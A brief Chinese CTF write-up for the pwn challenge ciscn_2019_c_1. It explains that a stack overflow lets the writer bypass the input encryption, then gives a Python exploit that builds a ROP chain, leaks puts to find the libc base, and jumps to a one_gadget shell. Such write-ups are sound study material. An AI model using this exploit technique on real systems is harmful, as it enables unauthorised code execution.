每日一pwn[ciscn_2019_c_1]

前言

存在栈溢出漏洞,无后门函数,存在一个加密函数,但是对payload无影响

分析

image-20240228101819080

关键函数,存在一个栈溢出,但是发现存在一个对我们输入的数据进行加密的流程,本来以为需要逆向一下代码,发现在strlen函数那里存在一个截断,于是便不需要对payload进行更改,直接使用即可

漏洞点

存在一个栈溢出,直接打一个puts函数泄露基地址,然后ogg获得shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def exploit():
li('exploit...')
db()
ogg = 0x4f322
puts_got = 0x000000000602020
puts_plt = 0x0000000004006E0
pop_rdi_ret = 0x0000000000400c83

pl = "A"*0x50+p64(0xbadbeef)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x0000000004009A0)
sla("Input your choice!\n","1")
sla("Input your Plaintext to be encrypted",pl)
libcbase = uu64()-libc.symbols["puts"]
li("libc base ---------> %x"%libcbase)

pl = "A"*0x50+p64(0xbadbeef)+p64(ogg+libcbase)+p64(0x0000000004009A0)
sla("Input your Plaintext to be encrypted",pl)